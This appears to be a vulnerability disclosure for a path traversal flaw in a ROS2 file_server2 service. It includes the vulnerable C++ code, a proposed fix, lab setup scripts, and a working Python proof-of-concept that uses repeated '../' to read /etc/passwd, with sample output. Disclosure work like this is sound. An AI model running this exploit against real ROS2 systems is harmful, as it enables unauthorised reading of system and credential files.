std::string address   = request->name.substr(10);          // remove "package://"
std::string package   = address.substr(0, address.find("/"));
std::string filepath  = address.substr(package.length());
std::string directory = ament_index_cpp::get_package_share_directory(package);
directory += filepath;                                    // user-controllable, contains "../"
std::ifstream inputfile(directory.c_str(), std::ios::binary);  // traversal to read arbitrary files

bool has_traversal(const std::string& path) {           // forbid ".." and "."
  for (const auto& part : std::filesystem::path(path))
    if (part == ".." || part == ".") return true;
  return false;
}
bool is_path_safe(const std::string& base_dir, const std::string& full_path) {
  auto base   = std::filesystem::canonical(base_dir);
  auto target = std::filesystem::weakly_canonical(full_path);
  auto [end, _] = std::mismatch(base.begin(), base.end(), target.begin());
  return end == base.end();                            // must still be within the package directory
}
bool validate_path(...) {
  if (has_traversal(filepath))   { warn("Path traversal attempt blocked"); return false; }

Attacker 192.168.171.153                        Victim 192.168.171.152
+---------------------------+                +---------------------------+
| ros2_humble + client      |  (1) get_file  | file_server node          |
| python3 poc.py            | -------------> | /file_server/get_file     |
|                           |                | reads local /etc/passwd   |
|                           | <-------------  | (2) returns file content 2930 bytes|
+---------------------------+                +---------------------------+
             ROS2 DDS (UDP 7400-7500 / multicast 239.255.0.x), ROS_DOMAIN_ID=0

source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# Build the vulnerable package (skip if already built; rebuilding is harmless)
colcon build --packages-select file_server2

# Start the node (reboot-safe: clean up old processes first, then start)
# ~/start_fs.sh content is in Appendix A
bash ~/start_fs.sh
sleep 2

ros2 node list            # should show local /file_server

source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# Also needs the file_server2 package for the client to import the GetBinaryFile type
colcon build --packages-select file_server2

source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
sleep 2

ros2 node list                 # should discover cross-host /file_server (on 152)
ros2 service list | grep file_server
# should show: /file_server/get_file

python3 ~/poc.py

[*] Requesting: package://file_server2/../../../../../../../../../../../../etc/passwd
[*] Returned 2930 bytes
----- /etc/passwd (begin) -----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
----- end -----

#!/bin/bash
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# Process name is truncated by the kernel to file_server2_no; clean up old instances precisely by command line
MYSELF=$$
for p in $(ps -eo pid,args | grep "file_server2_node" | grep -v grep | awk '{print $1}'); do
  [ "$p" != "$MYSELF" ] && kill -9 "$p" 2>/dev/null
done
sleep 1
# Critical: do not set ROS_LOCALHOST_ONLY, otherwise only loopback is accessible
setsid bash -c "ros2 run file_server2 file_server2_node > ~/file_server.log 2>&1" >/dev/null 2>&1 </dev/null &
disown
sleep 2
echo "node started: $(pgrep -af file_server2_node | head -1)"

import rclpy
from rclpy.node import Node
from file_server2.srv import GetBinaryFile

class Client(Node):
    def __init__(self):
        super().__init__('poc_client')
        self.cli = self.create_client(GetBinaryFile, '/file_server/get_file')
        while not self.cli.wait_for_service(timeout_sec=5.0):
            self.get_logger().info('waiting for service...')

    def call(self, name):
        req = GetBinaryFile.Request()
        req.name = name
        fut = self.cli.call_async(req)
        rclpy.spin_until_future_complete(self, fut)
        return fut.result()

def main():
    rclpy.init()
    c = Client()
    # 12 "../" is enough to traverse from the package share directory to the root, then access etc/passwd
    target = "package://file_server2/" + ("../" * 12) + "etc/passwd"
    print(f"[*] Requesting: {target}")
    res = c.call(target)
    data = bytes(res.value) if res is not None else b''
    print(f"[*] Returned {len(data)} bytes")
    print("----- /etc/passwd (begin) -----")
    print(data[:400].decode(errors='replace'))
    print("----- end -----")
    c.destroy_node()
    rclpy.shutdown()

if __name__ == '__main__':
    main()